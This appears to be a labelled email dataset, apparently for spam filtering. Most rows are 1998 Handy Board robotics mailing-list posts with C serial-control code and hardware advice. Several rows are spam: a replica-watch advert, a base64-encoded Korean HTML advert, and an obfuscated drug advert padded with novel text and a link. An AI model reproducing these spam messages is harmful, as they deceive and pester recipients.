Blank, University of Arkansas Assistant Professor Computer Science ==================== http://www.uark.edu/~dblank ==================== This code was written for MS C++4.0 running on Win95. //************** BEGIN: serial_HOST.c /* VC++4.0 HandyBoard Host Programming System Dr. Douglas S. Blank University of Arkansas, Department of Computer Science www.uark.edu/~dblank This code runs on a host PC. */ #include #include #include #include #include ""serial_HOST.h"" void main(int argc, char *argv[]) { motor(0, 100); motor(1, 100); motor(2, 100); motor(3, 100); sleep(1000); motor(0, -100); motor(1, -100); motor(2, -100); motor(3, -100); sleep(1000); ao(); print(""\\nThis is a test""); printf(""Knob is %d\\n"", knob() ); printf(""Analog(0) is %d\\n"", analog(0)); printf(""Digital(0) is %d\\n"", digital(0)); printf(""Analog(1) is %d\\n"", analog(1)); printf(""Digital(1) is %d\\n"", digital(1)); printf(""Analog(2) is %d\\n"", analog(2)); printf(""Digital(2) is %d\\n"", digital(2)); printf(""Analog(3) is %d\\n"", analog(3)); printf(""Digital(3) is %d\\n"", digital(3)); printf(""Analog(4) is %d\\n"", analog(4)); printf(""Digital(4) is %d\\n"", digital(4)); printf(""Analog(5) is %d\\n"", analog(5)); printf(""Digital(5) is %d\\n"", digital(5)); printf(""Analog(6) is %d\\n"", analog(6)); printf(""Digital(6) is %d\\n"", digital(6)); printf(""Analog(7) is %d\\n"", analog(7)); printf(""Digital(7) is %d\\n"", digital(7)); printf(""Analog(8) is %d\\n"", analog(8)); printf(""Digital(8) is %d\\n"", digital(8)); printf(""Analog(9) is %d\\n"", analog(9)); printf(""Digital(9) is %d\\n"", digital(9)); printf(""Analog(10) is %d\\n"", analog(10)); printf(""Digital(10) is %d\\n"", digital(10)); printf(""Analog(11) is %d\\n"", analog(11)); printf(""Digital(11) is %d\\n"", digital(11)); printf(""Analog(12) is %d\\n"", analog(12)); printf(""Digital(12) is %d\\n"", digital(12)); printf(""Analog(13) is %d\\n"", analog(13)); printf(""Digital(13) is %d\\n"", digital(13)); printf(""Analog(14) is %d\\n"", analog(14)); printf(""Digital(14) is %d\\n"", digital(14)); printf(""Analog(15) is %d\\n"", analog(15)); printf(""Digital(15) is %d\\n"", digital(15)); beep(); sleep(1000); while (! stop_button() ) { sprintf(buffer, ""%d.0"", (knob() * 10)); tone( buffer, ""0.1""); } } //************** END: serial_HOST.c //************** BEGIN: serial_HOST.h /* VC++4.0 HandyBoard Host Programming System Dr. Douglas S. Blank University of Arkansas, Department of Computer Science www.uark.edu/~dblank */ #define MOTOR 0 #define AO 1 #define ANALOG 2 #define DIGITAL 3 #define PRINTF 4 #define KNOB 5 #define BEEP 6 #define TONE 7 #define START_BUTTON 8 #define STOP_BUTTON 9 #define QUIT 113 #define sleep(NUM) _sleep(NUM) #define SERIALWAIT 5 unsigned short PORT = 0x3f8; // LPT1: 0x378 COM1: 0x3f8 int send(int i) { int retval; retval = _outp( PORT, i); _sleep(SERIALWAIT); return retval; } int receive() { int retval; retval = _inp( PORT); _sleep(SERIALWAIT); retval = _inp( PORT); return retval; } void hangup() { send(QUIT); } void print(char buffer[]) { int i; send(PRINTF); for (i = 0; buffer[i] != 0; i++) send(buffer[i]); send('\\0'); } void motor(int motornum, int power) { send(MOTOR); send(motornum); send(power + 100); // taken off on the other end } int analog(int sensor) { send(ANALOG); send(sensor); return receive(); } int digital(int sensor) { send(DIGITAL); send(sensor); return receive(); } void ao() { send(AO); } int knob() { send(KNOB); return receive(); } void beep() { send(BEEP); } void tone(char f1[], char f2[]) { int i; send(TONE); for (i = 0; f1[i] != 0; i++) send(f1[i]); send('\\0'); for (i = 0; f2[i] != 0; i++) send(f2[i]); send('\\0'); _sleep((unsigned long) (atof(f2) * 1000)); // to keep from overflowing serial line } void interactive() { char c; char key = ' '; while (key != 'q') { key = getch(); send(key); printf(""Sent %c\\n"", key); c = receive(); printf(""Got %c as a return value\\n"", c); } } int start_button() { send(START_BUTTON); return receive(); } int stop_button() { send(STOP_BUTTON); return receive(); } //************** END: serial_HOST.h //************** BEGIN: serial_HB.c /* VC++4.0 HandyBoard Programming System (Parts taken from other HB programs) Dr. Douglas S. Blank University of Arkansas, Department of Computer Science www.uark.edu/~dblank This code runs on the HB */ #define MOTOR 0 #define AO 1 #define ANALOG 2 #define DIGITAL 3 #define PRINTF 4 #define KNOB 5 #define BEEP 6 #define TONE 7 #define START_BUTTON 8 #define STOP_BUTTON 9 #define QUIT 113 int _isspace(int a) /* returns 1 for space or tab, 0 otherwise */ /* internal routine used by atof() and cgets() */ { return ((a == 32) || (a == 9)); /* 32 is space, 9 is tab */ } /*****************************************************************************/ int _isdigit(int a) /* returns 1 if a digit 0-9, 0 otherwise */ /* internal routine used by atof() */ { return ((a >= 48) && (a <= 57)); /* 48 is '0', 57 is '9' */ } float atof(char s[]) /* Convert a string containing a number in ASCII */ /* form (integer, float, or exponential float) to a */ /* float. Strips whitespace characters (space and */ /* tab) from the front of the string, but stops */ /* parsing at the first (unexpected) non-numeric */ /* character if the string has garbage at the end. */ /* This means that "" 34.3foo78"" translates to 34.3. */ /* Modified from atof() function in the standard */ /* library of the Hi-Tec C compiler for CP/M. */ /* Note: all string literals converted to decimal */ /* form because IC can't deal with string literals */ /* in math calculations. */ /* Also note: very ugly code because IC will not */ /* allow any math operations on pointers! Thus, the */ /* the number string has to be treated as an array! */ /* Also also note: no error handling; assumes that */ /* the string is a valid representation of a number! */ /* Valid range for exponential-format numbers is */ /* approximately 2.0e-38 to 3.4e+38. */ { int i=0; /* index into string array */ int sign=0; /* mantissa sign flag: 0=positive, 1=negative */ int exp0=0; /* mantissa exponent counter */ int eexp=0; /* E-form exponent counter */ int expsign=0; /* exponent sign flag: 0=positive, 1=negative */ float m=0.0; /* mantissa accumulator */ /* skip any leading whitespace (space, tab) */ while (_isspace(s[i])) i++; /* skip it */ /* check for mantissa sign */ if (s[i] == 45) /* 45 is '-' */ { sign = 1; /* flag minus sign */ i++; /* point to next */ } else if (s[i] == 43) /* 43 is '+' */ i++; /* point to next */ /* now get all digits up to either a decimal point or an e/E */ while (_isdigit(s[i])) { m = 10.0*m + (float)(s[i] - 48); /* 48 is '0' */ i++; /* point to next */ } /* no more digits, so check for decimal point */ if (s[i] == 46) /* 46 is '.' */ { i++; /* point to next */ /* get all digits after decimal point */ while (_isdigit(s[i])) { exp0--; m = 10.0*m + (float)(s[i] - 48); /* 48 is '0' */ i++; /* point to next */ } } /* check for e/E exponential form */ if ((s[i] == 101) || (s[i] == 69)) /* 101 is 'e', 69 is 'E' */ { i++; /* point to next */ /* check for exponent sign */ if (s[i] == 45) /* 45 is '-' */ { expsign = 1; /* flag negative exponent */ i++; /* point to next */ } else if (s[i] == 43) /* 43 is '+' */ i++; /* point to next */ /* now get exponent */ while (_isdigit(s[i])) { eexp = eexp*10 + s[i] - 48; /* 48 is '0' */ i++; /* point to next */ } /* adjust exponent sign */ if (expsign) eexp = -eexp; /* make it negative */ } /* compute absolute value of final float */ exp0 += eexp; while (exp0 < 0) /* for negative exponents */ { m = m / 10.0; exp0++; } while (exp0 > 0) /* for positive exponents */ { m = m * 10.0; exp0--; } /* adjust final float sign from mantissa */ if (sign) return (-m); /* negative */ else return (m); /* positive */ } void disable_pcode_serial() /* necessary to receive characters using serial_getchar */ { poke(0x3c, 1); } void reenable_pcode_serial() /* necessary for IC to interact with board again */ { poke(0x3c, 0); } /* ====================================================================== For sending and receiving single bytes, you can use Randy's IC code: */ void serial_putchar(int c) { while (!(peek(0x102e) & 0x80)); /* wait until serial transmit empty */ poke(0x102f, c); /* send character */ } int serial_getchar() { while (!(peek(0x102e) & 0x20)); /* wait for received character */ return peek(0x102f); } void main(void) { int pos, c = ' ', var1, var2; float f1, f2; char buffer[80]; disable_pcode_serial(); beep(); printf(""\\nSerial IO Mode!""); printf(""Listening...""); msleep(500L); while (c != 'q') { c = serial_getchar(); /* printf(""[%d] "", c); */ if (c == MOTOR) { var1 = serial_getchar(); var2 = serial_getchar() - 100; motor(var1, var2); } else if (c == AO) { ao(); } else if (c == ANALOG) { var1 = serial_getchar(); serial_putchar(analog(var1)); } else if (c == DIGITAL) { var1 = serial_getchar(); serial_putchar(digital(var1)); } else if (c == PRINTF) { pos = 0; while (c != 0) { buffer[pos++] = c; c = serial_getchar(); } buffer[pos] = '\\0'; printf(buffer); } else if (c == TONE) { pos = 0; c = serial_getchar(); while (c != 0) { buffer[pos++] = c; c = serial_getchar(); } buffer[pos] = '\\0'; f1 = atof(buffer); pos = 0; c = serial_getchar(); while (c != 0) { buffer[pos++] = c; c = serial_getchar(); } buffer[pos] = '\\0'; f2 = atof(buffer); tone(f1, f2); } else if (c == START_BUTTON) { serial_putchar(start_button()); } else if (c == STOP_BUTTON) { serial_putchar(stop_button()); } else if (c == BEEP) { beep(); } else if (c == KNOB) { serial_putchar(knob()); } } reenable_pcode_serial(); printf(""\\nHB Mode!""); } //************** END: serial_HB.c",0,1 Randy Sargent ,Chad K Humberstone ,"Wed, 01 Jul 1998 11:06:26 -0700",Re: IC support data types?,"Dear Chad, Support for structs is among the many improvements in IC 3.x over the previous freeware versions of IC. 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I am involved in > decoding highly compressed sound files in a stand alone unit and the 6811 > just can not hack the speed. I have the Handy Board including the nicad > battery back, the serial/interface charger board, power adapter serial cable > connection and telephone cable all in a nice padded case ready for travel. I > also have the IC software along with the manuals. All of this is available > for $250. Everything is brand new. If you are interested please mail me. > > Patrick Webb > pwebb@swri.edu > EMCR Southwest Research Institute > San Antonio, Texas -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! -----------------------------------------------------------------",0,0 Mike Davis ,brian-c@technologist.com,"Wed, 03 Jun 1998 20:55:27 -0700",Re: One Handy Board available for sale.,"I stand corrected. From: brian-c@technologist.com Date sent: Thu, 2 Jul 1998 23:49:02 -0400 (EDT) To: ""Mike Davis"" Subject: Re: One Handy Board available for sale. > nope, they are $284 from Gleason Research. > > > ---- you wrote: > > Isn't that more than the board is brand new, assembled and tested? They are > > available for $180. Correct me if I am wrong. Is the IC perhaps 3.x? > > > > > > From: PWebb@swri.edu > > Date sent: Thu, 2 Jul 98 11:36:10 CDT > > To: > > Send reply to: > > Subject: One Handy Board available for sale. > > > > > I am selling the Handy Board that I have because it is not fast > > > enough for the application that I wanted to use it for. I am involved in > > > decoding highly compressed sound files in a stand alone unit and the 6811 > > > just can not hack the speed. I have the Handy Board including the nicad > > > battery back, the serial/interface charger board, power adapter serial cable > > > connection and telephone cable all in a nice padded case ready for travel. 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But you can seach in the file of e-mails that have the stepper word in them. The second part is just how to get a bipolar motor going with a handy-board. http://laguna.fmedic.unam.mx/~daniel/handy_bipolar.html TO DO: Write a real program that doesn't use the PMW functions fd() and bk (), and poke's to the right ports. Make a page for the unipolar stepper motor. Find some cookbook diver circuts to attach to the handy-board digital outputs. Make or buy an expansion board to test it with stepper motors. All you suggestions and constuctive critics are wellcome. Jose Antonio Barata de Oliveira Universidade Nova de Lisboa - Dep. Eng. Electrotecnica Quinta da Torre P 2825 - Monte da Caparica Portugal TF: +351-1-2948535 FAX: +351-1-2948532 ",0,1 jab@dee.fct.unl.pt,handyboard@media.mit.edu,"Mon, 06 Jul 1998 18:25:09 +0200",Connecting radio module (BiM 418 F),"Hello all, I would like to be able to 'drive' my robot using the Handy Board via a radio link. For this purpose I have bought two transceivers, the Radiometrix BiM 418 F. How can I connect it to my Handy Board? The wiring is as follows (leaving out +5V and Ground): Aerial | | ________ Tx select | | _____/|_______ Tx data | \\| | | _______ Rx select | | |__|\\_______ Rx data |/ |_______ Carrier detect Which pins of the RJ11 connector, digital inputs and SPI do I need for this? I'm not very good at electronics, so any help would be very much appreciated. Thanks in advance. Greetings, Jan Sipke van der Veen Jose Antonio Barata de Oliveira Universidade Nova de Lisboa - Dep. Eng. Electrotecnica Quinta da Torre P 2825 - Monte da Caparica Portugal TF: +351-1-2948535 FAX: +351-1-2948532 ",0,0 jab@dee.fct.unl.pt,handyboard@media.mit.edu,"Mon, 06 Jul 1998 18:29:17 +0200",Serial line interrupt,"Hello all, I'm currently trying to communicate between the Handy Board and a PC (i486) using the existing serial line between the two. Sending data from the handy Board to the PC is no problem. An interrupt handler puts all incoming serial data into a buffer, which the main program can read from. Sending data from the PC to the Handy Board is another story. The serial routines on http://www.ai.mit.edu/people/rsargent/ic/serialio.html work fine if the PC isn't sending very fast. The current 'solution' is to put the PC in a short loop after it has sent a character to slow it down. But that's not a very elegant solution. Is there a way to use the same technique on the handy Board as on the PC (using an interrupt handler)? If so, has anyone used that approach and is willing to share this code? If there is a simpler way of doing things, I would also be glad to know about it. Jan Sipke van der Veen Jose Antonio Barata de Oliveira Universidade Nova de Lisboa - Dep. Eng. Electrotecnica Quinta da Torre P 2825 - Monte da Caparica Portugal TF: +351-1-2948535 FAX: +351-1-2948532 ",0,1 jab@dee.fct.unl.pt,- Handyboard mailing list ,"Mon, 06 Jul 1998 18:29:23 +0200",using the MC34064 LVI,"Hello, This is a warning for anyone considering using the Motorola MC34064 to replace the DS1233. I have just built a couple handyboards and I had some problems getting them working. I finally tracked the problem done to the LVI. I used the MC34064 instead of the DS1233 because I had some laying around. WARNING the pin out on the two is not the same: Pin DS1233 MC34064 1 GND *RESET 2 *RESET +5 3 +5 GND The MC34064 can be used but it must be rotated 120 degrees so that the signals will be correct. -- Jeff ______________________________________________________________________ \\ Jeff Loeliger Motorola SPS \\ \\ email: r12110@email.sps.mot.com \\""/ Systems Engineering Department\\ \\ phone: +44-1355-56-5400 ( ) Powertrain Systems Division \\ \\ fax : +44-1355-56-6300 | East Kilbride, Scotland \\ \\_____________________________________________________________________\\ Jose Antonio Barata de Oliveira Universidade Nova de Lisboa - Dep. Eng. Electrotecnica Quinta da Torre P 2825 - Monte da Caparica Portugal TF: +351-1-2948535 FAX: +351-1-2948532 ",0,0 """Timothy B. Gold"" ",handyboard@media.mit.edu,"Mon, 06 Jul 1998 13:02:05 -0600",Re: Serial line interrupt,"> Sending data from the PC to the Handy Board is another story. The serial > routines on http://www.ai.mit.edu/people/rsargent/ic/serialio.html work > fine if > the PC isn't sending very fast. The current 'solution' is to put the PC in a > short loop after it has sent a character to slow it down. But that's not a > very > elegant solution. > > Is there a way to use the same technique on the handy Board as on the PC > (using > an interrupt handler)? If so, has anyone used that approach and is willing to > share this code? I had the same problem a few weeks ago, ended up writing an interrupt handler for the Handy Board which will buffer up the incoming serial information so that none of it is lost. I guess the Handy Board normally just polls the serial port (I think with the system interrupt?), so if data is coming in too fast some of it gets lost. Anyway, the code seems to work just fine. The actual buffer size is flexible -- you just have to edit the code in a couple of places. I have done much experimenting to see how big the buffer actually needs to be to prevent any data loss. One side effect, which may or may not be a problem depending on what you're doing: once the interrupt handler is active, you can no longer use interractive C to interface with the handyboard. So it's a good idea to write your code in such a way that you have a way to disable the serial interrupt handler from the handyboard itself, otherwise you'll have to redownload the pcode to be able to get it to talk to interactive C. I want to touch up the code a little before I put it out on the mailing list (clean it up a little and put a few more comments in explaing what's going on). Give me a day or so and I'll have it posted here to the mailing list. Tim Gold goldt@et.byu.edu BYU Robotics Lab ",0,1 """Occurred U. Nazarene"" ",Bait ,"Mon, 06 Jul 1998 11:26:27 -0400","replica //atches! patek philippe, vacheron constantin and others!","REPLICA //ATCHES BAZAAR! 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I was reading through a compilation of emails from the Handy Board Q&A and found a lot of great questions, but no answers to them. I am trying to power some steppers, microsteppers from the RobotStore catalog, with the HB and am not having much luck. The motors have two coils, four wires. I'm trying to power them by putting one coil in motor 1 (pin slots 1 and 3) and the other in motor 2 (pin slots 4 and 6). In the IC program I'm turning motor 1 on and then off, then turning motor 2 on and then off. It ""steps,"" but the steps are very sparatic (not uniform in radians) and frequently reverse direction for no apparent reason. PLEASE let me know of anything that could help. THANX --- ***** ( o - ) ' \\___/ (_) terrim@iastate.edu ",0,0 Ruthie Wilkinson ,handyboard@media.mit.edu,"Mon, 06 Jul 1998 17:55:28 -0100",�Ѿ˷� 2Ʋ�� ����� �ٴϼ���.,"PGh0bWw+DQo8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIGJvcmRlcj0wPg0K PFRSPg0KPFREPjxhIGhyZWY9aHR0cDovL2NkYnV5Lm5lMS5uZXQgdGFyZ2V0PV9ibGFuaz48 aW1nIHNyYz1odHRwOi8vJTYybG9nJTY2JTY5JTZjJTY1LiU3MGFyYSU2ZS4lNjNvbS9CTE9H XzM1NzU2OC8yMDA2MDQvMTE0NTAyMDE1NV9kYXVtLmpwZyBib3JkZXI9MD48L2E+PC90ZD4N CjwvVFI+DQo8dHI+DQo8dGQ+PGEgaHJlZj1odHRwOi8vY2RidXkubmUxLm5ldCB0YXJnZXQ9 X2JsYW5rPri7wMwgx8q/5CC++L3AtM+02S4guvG+xrHXtvMsIL6+vsu4rr26LCC/qby6waYg yO+60MGmLiDAz7TcIMWsuK/Hz7y8v+Q8L2E+PC90ZD48L3RyPg0KPC9UQUJMRT4NCjwvYm9k eT4NCjwvaHRtbD4NCg== ",1,0 Remi Desrosiers ,handyboard@media.mit.edu,"Mon, 06 Jul 1998 19:10:43 -0400",Re: Serial line interrupt,"At 18:29 7/6/98 +0200, you wrote: >Hello all, > >I'm currently trying to communicate between the Handy Board and a PC (i486) >using the existing serial line between the two. Sending data from the handy >Board to the PC is no problem. An interrupt handler puts all incoming serial >data into a buffer, which the main program can read from. > >Sending data from the PC to the Handy Board is another story. The serial >routines on http://www.ai.mit.edu/people/rsargent/ic/serialio.html work >fine if >the PC isn't sending very fast. The current 'solution' is to put the PC in a >short loop after it has sent a character to slow it down. But that's not a >very >elegant solution. > >Is there a way to use the same technique on the handy Board as on the PC >(using >an interrupt handler)? If so, has anyone used that approach and is willing to >share this code? > >If there is a simpler way of doing things, I would also be glad to know about >it. > >Jan Sipke van der Veen > > >Jose Antonio Barata de Oliveira >Universidade Nova de Lisboa - Dep. Eng. Electrotecnica >Quinta da Torre >P 2825 - Monte da Caparica >Portugal > > >TF: +351-1-2948535 >FAX: +351-1-2948532 > Hi, you could simply build and Acknowledge routine so that every character sent by the PC could be echoed back by the HandyBoard. It asks a bit more of processing time from the HandyBoard, but at least it's simple to build :) ex: PC sends 0x56 HB sends back 0xFF then 0x56 (here 0xFF could tell the computer that this is an echoed character) Or you could lookup how to build a CRC correction scheme and build a kind of packet with the CRC byte at the end, which would save a lot of transmission time, but more processing time for the HB. .-------------------------- . . . | Remi Desrosiers | ""My Youth in Arcadia"" ICQ# 7228856 | harlock@videotron.ca . remi.desrosiers@polymtl.ca . . ",0,1 brian-c@technologist.com,"Terri A Mortvedt , handyboard@media.mit.edu","Mon, 06 Jul 1998 19:24:27 -0400",Re: Steppers,"Dear Terri, If the motors turn sparatically, that means the coils are probably not hooked up in the correct order. Try swapping them around and see if anything improves. The motors you are using are the bipolar type. There is a decent way of hooking up unipolar steppers to the HB at http://www.cctc.demon.co.uk/stepper.htm A basic difference between bipolar and unipolar is that unipolar motors have additional wires which are connected to the power supply. Bipolars also have more torque. Using fd(); and bk(); commands to power steppers is probably a lot to handle. I recommend trying the method found on that link. There's even sample coding. You will have to modify some variables for the turn functions because your turning radius varies according to your distance between motors. I modified the step(); function to produce a gradual increase in speed, and a gradual decrease in speed once the specified steps are almost complete. I will attach my motors.c file as is. _________________________________________________ ������������������������������������������������� Brian Carvalho [ brian-c@ieee.org ] DeVRY Institute New Jersey _________________________________________________ ������������������������������������������������� --------------------------------------------------- Get free personalized email at http://www.iname.com ",0,1 Lim Jew Hwang ,handyboard@media.mit.edu,"Tue, 07 Jul 1998 08:34:56 +0800",help needed for ir sensors & memory addressing latch,"Hi all, I am new to robotics and have great difficulty trying to get the near-infra emmiter and detector on the HB to work properly. After studying the schematics, I figured out to activate J7, I should do a bit_set(0x1000,0b01000000) which appears to be successful, indicated by the LED lighting up. Since, it already has 40kHz modulation ,all I need to do is to turn the output on & off at 600us for the detector to pick up the signal,isn't it? However when I put a Sharp IS1U60 on digital port 13 and did the following: void emit(){ int on,off,obstacle; while(1){ { bit_set(0x1000,0b01000000); sleep(0.0006); obstacle=digital(13); bit_clear(0x1000,0b01000000); sleep(0.0006); obstacle=digital(13); if(off && ~on) obstacle=1; else obstacle=0;} printf(""obstacle is %d\\n"",obstacle); }} void main(){ start_process(emit());} I couldn't get the HB to indicate the presence of an obstacle. Next, I decided to get the readings from the detector on the HB instead as follows: void main(){ start_process(emit());} void emit() { int on, off, obstacle; while (1){ { bit_set(0x1000,0b01000000); /*PA6 output*/ sleep(0.0006); on = peek(0x1000); bit_clear(0x1000,0b01000000); sleep(0.0006); off = peek(0x1000); } {if(on & 0b00000100 == 0b00000100) /*PA2 input*/ on=1; else on=0; if(off & 0b00000100 == 0b00000100) off=1; else off=0;} if(off && ~on) obstacle=1; else obstacle=0;} printf(""obstacle is %d\\n"",obstacle); }} Unfortunately, this doesn't seems to work. Where did I go wrong? Also, I have another HB which was working fine until one day, it decided not to boot any more. After the initial and sucessful downloading is over in the bootstrap mode, the LCD does not have the words interactive C display on it after the reset although LCD is on. The charger LED is also ON all the times even though there are no rechargeable batteries connected to the HB when I connect the power jack to J12. After checking the data sheet, I suspect U2,U3 and U7 are damaged because they got very hot after switching on the HB for a while. Is there anything else that might be damaged and how should I proceed from here. Thanks for the attention. ",0,0 Narcisa Greenwald ,handyboard@media.mit.edu,"Mon, 06 Jul 1998 16:44:56 -0700",Re: your CtALlwS,"Hi X L C V A V P a e I A m I r n v A L b A o a i L I i G z x t I U e R a ra S M n A c http://www.teolocome.com this counsel be good or bad, croaked Rac; but I will do what can be done. Then off he slowly flew. Back now to the Mountain! cried Thorin. We have little time to lose. And little food to use! cried Bilbo, always practical on such points. In any case he felt that the adventure was, properly speaking, over.with the death of the dragon-in which he was much mistaken-and he ",1,1 Michael_Bonadio@peoplesoft.com,handyboard@media.mit.edu,"Tue, 07 Jul 1998 15:21:30 +1000",Re: Serial line interrupt,"Hello all, I have also had this problem and would be interested in any resolution. However, on another note has anyone had luck or intruction on how to you the serial code here : http://el.www.media.mit.edu/groups/el/projects/handy-board/software/libs.ht ml I am not sure how this works and any information would be greatly appreciated. Thanks Michael Remi Desrosiers on 07/06/98 04:10:43 PM To: handyboard@media.mit.edu cc: (bcc: Michael Bonadio) Subject: Re: Serial line interrupt At 18:29 7/6/98 +0200, you wrote: >Hello all, > >I'm currently trying to communicate between the Handy Board and a PC (i486) >using the existing serial line between the two. Sending data from the handy >Board to the PC is no problem. An interrupt handler puts all incoming serial >data into a buffer, which the main program can read from. > >Sending data from the PC to the Handy Board is another story. The serial >routines on http://www.ai.mit.edu/people/rsargent/ic/serialio.html work >fine if >the PC isn't sending very fast. The current 'solution' is to put the PC in a >short loop after it has sent a character to slow it down. But that's not a >very >elegant solution. > >Is there a way to use the same technique on the handy Board as on the PC >(using >an interrupt handler)? If so, has anyone used that approach and is willing to >share this code? > >If there is a simpler way of doing things, I would also be glad to know about >it. > >Jan Sipke van der Veen > > >Jose Antonio Barata de Oliveira >Universidade Nova de Lisboa - Dep. Eng. Electrotecnica >Quinta da Torre >P 2825 - Monte da Caparica >Portugal > > >TF: +351-1-2948535 >FAX: +351-1-2948532 > Hi, you could simply build and Acknowledge routine so that every character sent by the PC could be echoed back by the HandyBoard. It asks a bit more of processing time from the HandyBoard, but at least it's simple to build :) ex: PC sends 0x56 HB sends back 0xFF then 0x56 (here 0xFF could tell the computer that this is an echoed character) Or you could lookup how to build a CRC correction scheme and build a kind of packet with the CRC byte at the end, which would save a lot of transmission time, but more processing time for the HB. .-------------------------- . . . | Remi Desrosiers | ""My Youth in Arcadia"" ICQ# 7228856 | harlock@videotron.ca . remi.desrosiers@polymtl.ca . .",0,1 veenjs@cs.utwente.nl,handyboard@media.mit.edu,"Tue, 07 Jul 1998 09:31:40 +0200",Re: Connecting radio module (BiM 418 F),"Hello all, I was surprised to see one of my old postings on this list appear again this week. The problem I posed here has been solved, and the results can be found via this page: http://wwwspa.cs.utwente.nl/~veenjs Jan Sipke van der Veen ",0,1 Joe Martin ,handyboard@media.mit.edu,"Tue, 07 Jul 1998 20:07:37 +1000",RE: check_sensors.c,"Terry, It seems that alot of the problems with this piece of code are syntax errors, you could correct alot of these by looking up the secific syntax in the HB manual and there may or may not be a few things that I would have done differently depending on what exectly you want to do.Do you just want to display the information about the inputs on the LCD display?Please explain. Joe Martin -----Original Message----- From: Terry Garthright [mailto:669@worldnet.att.net] Sent: Saturday, 4 July 1998 2:37 To: handyboard@media.mit.edu Subject: check_sensors.c Hello All, I would like to write code for the handyboard to constantly monitor inputs. I copied this this code from the mail arcives 3-22-97, whats wrong?? Thanks in Advance Terry Gathright 669@worldnet.att.net /* GLOBALS*/ int num_sensors =6 /* put the number of analog sensor inputs you want*/ void main() { int sensors[num_sensors]; int counter; while { counter = 0; while (counter < num_sensors) { sensors[counter] = analog(counter); printf(""%d"",sensors [counter] ); counter++; } printf(""/n""); sleep(.5); } }",0,0 Linnar ,handyboard@media.mit.edu,"Mon, 29 Jun 1998 20:24:59 -0000",Simulation ?," Hi everyone .... i need help in simulation of the robot movement ,.................... What program did u all use with HB by using 'IC' to write in the program....??? I need some ref. in this..................please help me ........... Regards, Linnar ",0,0 """K. F. MacDorman"" ",handyboard@media.mit.edu,"Tue, 07 Jul 1998 21:43:52 +0900",stepper motors: choosing an approach,"There appears to be much interest in using the handyboard to control stepper motors. Choosing the right approach depends on what you want your robot to do. There are a number of specialized boards for controlling stepper motors, but they are generally expensive and, from the hobbiest/ roboticist's perspective, over-built. For example, to control just two stepper motors (typical for robot locomotion), you would need to buy three boards from, say, Pontech (http://www.pontech.com) and spend about $350. The boards also consume more than 200 mA (at 5-15 V) even when the steppers are switched off (no sleep mode). Although these boards have many features, they may not be versitile enough for your application, especially if they are not programmable. There are hacks that permit handyboards to be controlled with fd(0) and bk(1) commands; the approach taken by Peter Harrison at http://www.cctc.demon.co.uk/stepper.htm; the $10 EDE1200 unipolar stepper motor IC from E-Lab (http://www.elabinc.com); etc. The approach I was considering was to use a $49 Basic Stamp II in conjunction with Darlington arrays ULN 2003A, roughly based on the design in the Basic Stamp I Application Notes, No. 6, for unipolar stepper motors at http://www.parallaxinc.com. The idea is that control of the steppers should occupy as few cycles as possible of the Handy Board's MC6811. So the MC6811 can give short simple commands to the Stamp through a serial interface, which the Stamp buffers in memory. Imagine this just being . The Stamp handles the rest, including acceleration and deceleration if necessary (CurrStepDelay = StepDelay + MinStepDelayFactory - [AccelFactor * Steps] ). If the signals sent to the Stamp describe movement along a path, it is important to be able to clear the Stamps memory buffer -- for example, if an object suddenly appears in the path and a new path must be calculated. I would be grateful to anyone who would point out what's wrong with this approach. Best wishes, Karl",0,1 David Kott ,Terry Garthright <669@worldnet.att.net>,"Sat, 04 Jul 1998 09:15:59 -0400",Re: check_sensors.c,"On Fri, 3 Jul 1998, Terry Garthright wrote: > > /* GLOBALS*/ > > int num_sensors =6 /* put the number of analog sensor inputs you want*/ All C declarations must be terminated with a semicolon. Try : int num_sensors = 6; ^ > > void main() > > { > > int sensors[num_sensors]; > > int counter; > > while > is this legal syntax for ""while""? Try: while (1) > { > > counter = 0; > > while (counter < num_sensors) > > { > > sensors[counter] = analog(counter); > > printf(""%d"",sensors [counter] ); > > counter++; > > } > > printf(""/n""); > > sleep(.5); > > } > > } > > If you just wanted to print out the analog sensor value, do you really want to dump them into an array? void main() { int iIndex; while (1) { for (iIndex=0; iIndex <= 6 ; iIndex++) { printf(""%d"",analog(iIndex)); } printf(""\\n""); msleep(500L); } I think my IC skills are a bit rusty; there may be errors in my implementation. -d The box said ""Requires Windows 95/NT or better""... So I got Unix. Free the Source. Free your Computer... http://www.FreeBSD.org http://www.NetBSD.org http://www.OpenBSD.org",0,1 """Timothy B. Gold"" ",handyboard@media.mit.edu,"Tue, 07 Jul 1998 17:48:41 -0600",Interrupt Handler for Serial communication,"Here's a bit of code that will buffer incoming serial information so that no information will be lost when transmitting to the handy board. There are two files: serial_isr.c and serial_isr.asm. You'll need to assemble the .asm file using as11_ic, and then both the .c file and the .icb file need to be loaded onto the handy board. I'm sure improvements could be made to the code to clean it up a little, but it's a start (and I haven't had any problems with it yet). Enjoy! ",0,0 Aaron Edsinger ,handy ,"Tue, 07 Jul 1998 22:22:13 +0100",Inclinometer for Handyboard,"Hello, I've been searching, without much luck for a single axis inclinometer with a reasonable settle time and +-30 degree resolution, for less than $50. Anyone have any leads? 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The designer used 2 plastic pieces that were glued together after 3 bare parallel wires were shaped to the inside circumference and placed inside with just the ends protruding through tight fitting holes in the side of the cylinder. The 2 outside wires are joined one terminal of a variable resister and the center wire is the other terminal. The 2 outside wires are used instead of just one to negate any tilt in any axis except the one being measured by effectively ""averaging"" the resistance. After glueing the pieces together it was partially filled with a fluid and then sealed. See the attached Windows paintbrush bitmap drawing. The author did a much better job describing it than I have but I hope you get some idea of the device. Mike >Hello, > I've been searching, without much luck for a single axis inclinometer with >a reasonable settle time and +-30 degree resolution, for less than $50. >Anyone have any leads? > >Thanks, > Aaron > > ",0,0 Max Davies ,Aaron Edsinger ,"Wed, 08 Jul 1998 11:05:13 -0400",Re: Inclinometer for Handyboard,"Aaron Edsinger wrote: > Hello, > I've been searching, without much luck for a single axis inclinometer > with > a reasonable settle time and +-30 degree resolution, for less than $50. > Anyone have any leads? > > Thanks, > Aaron Why not try building your own by putting a couple of mercury switches on a servo. ",0,0 Ilya ,handyboard@media.mit.edu,"Wed, 08 Jul 1998 10:10:34 -0500",ic help," Can someone please shed some light on the commands ""peek"" and ""poke"" for Interactive C. For some reason I am having trouble with the syntax. Thank you ",0,0 """L. Parker"" ",'LIT Starship Design Group' ,"Wed, 08 Jul 1998 08:02:31 -0500",starship-design: FW: SpaceViews -- July 1998 by Boston NSS [part 1 of 